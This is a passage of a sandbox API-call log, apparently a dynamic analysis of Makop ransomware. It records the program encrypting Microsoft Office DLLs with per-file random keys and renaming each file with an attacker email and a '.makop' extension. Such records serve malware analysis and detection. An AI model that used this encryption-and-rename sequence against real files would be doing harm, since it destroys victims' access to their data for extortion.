ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.610] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0086.610] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0086.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.611] GetProcessHeap () returned 0x48a0000 [0086.611] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.611] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.611] WriteFile (in: hFile=0x114, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.615] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.615] GetProcessHeap () returned 0x48a0000 [0086.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.616] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0086.616] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.616] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0086.616] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.616] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.616] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.616] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.616] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.617] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.617] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.617] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x305a8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x305a8, lpOverlapped=0x0) returned 1 [0086.625] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x305b0, dwBufLen=0x305b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x305b0) returned 1 [0086.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.627] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x305b0, lpOverlapped=0x0) returned 1 [0086.628] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.628] SetEndOfFile (hFile=0x114) returned 1 [0086.638] GetProcessHeap () returned 0x48a0000 [0086.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.639] GetProcessHeap () returned 0x48a0000 [0086.640] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.640] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0086.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.642] CloseHandle (hObject=0x114) returned 1 [0086.642] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0086.642] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0086.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.643] GetProcessHeap () returned 0x48a0000 [0086.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.643] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.644] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.644] GetProcessHeap () returned 0x48a0000 [0086.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.644] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0086.644] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.644] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0086.648] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.648] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.648] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.649] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.649] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.649] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcdb0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xcdb0, lpOverlapped=0x0) returned 1 [0086.651] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xcdb0, dwBufLen=0xcdb0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xcdb0) returned 1 [0086.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.652] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcdb0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xcdb0, lpOverlapped=0x0) returned 1 [0086.652] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xce84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.653] SetEndOfFile (hFile=0x114) returned 1 [0086.660] GetProcessHeap () returned 0x48a0000 [0086.660] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.660] GetProcessHeap () returned 0x48a0000 [0086.660] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.660] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0086.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.661] CloseHandle (hObject=0x114) returned 1 [0086.661] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0086.662] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0086.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.662] GetProcessHeap () returned 0x48a0000 [0086.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.663] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.663] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.663] GetProcessHeap () returned 0x48a0000 [0086.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.663] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0086.663] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.663] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0086.679] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.679] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.679] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.679] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.680] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.680] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.680] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51d0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x51d0, lpOverlapped=0x0) returned 1 [0086.682] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x51d0, dwBufLen=0x51d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x51d0) returned 1 [0086.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.682] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x51d0, lpOverlapped=0x0) returned 1 [0086.682] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x52a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.683] SetEndOfFile (hFile=0x114) returned 1 [0086.690] GetProcessHeap () returned 0x48a0000 [0086.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.690] GetProcessHeap () returned 0x48a0000 [0086.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.690] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0086.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.712] CloseHandle (hObject=0x114) returned 1 [0086.712] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0086.712] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0086.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0086.713] GetProcessHeap () returned 0x48a0000 [0086.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0086.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0086.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0086.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.714] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.714] GetProcessHeap () returned 0x48a0000 [0086.714] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0086.714] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0086.714] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.714] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0086.718] WriteFile (in: hFile=0x114, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0086.718] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0086.719] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0086.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0086.719] WriteFile (in: hFile=0x114, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0086.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0086.719] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.719] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd2990, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd2990, lpOverlapped=0x0) returned 1 [0086.743] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd2990, dwBufLen=0xd2990 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd2990) returned 1 [0086.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.753] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd2990, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd2990, lpOverlapped=0x0) returned 1 [0086.759] CryptDestroyKey (hKey=0x48c7168) returned 1 [0086.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.759] SetEndOfFile (hFile=0x114) returned 1 [0086.767] GetProcessHeap () returned 0x48a0000 [0086.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.767] GetProcessHeap () returned 0x48a0000 [0086.768] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.768] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0086.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft 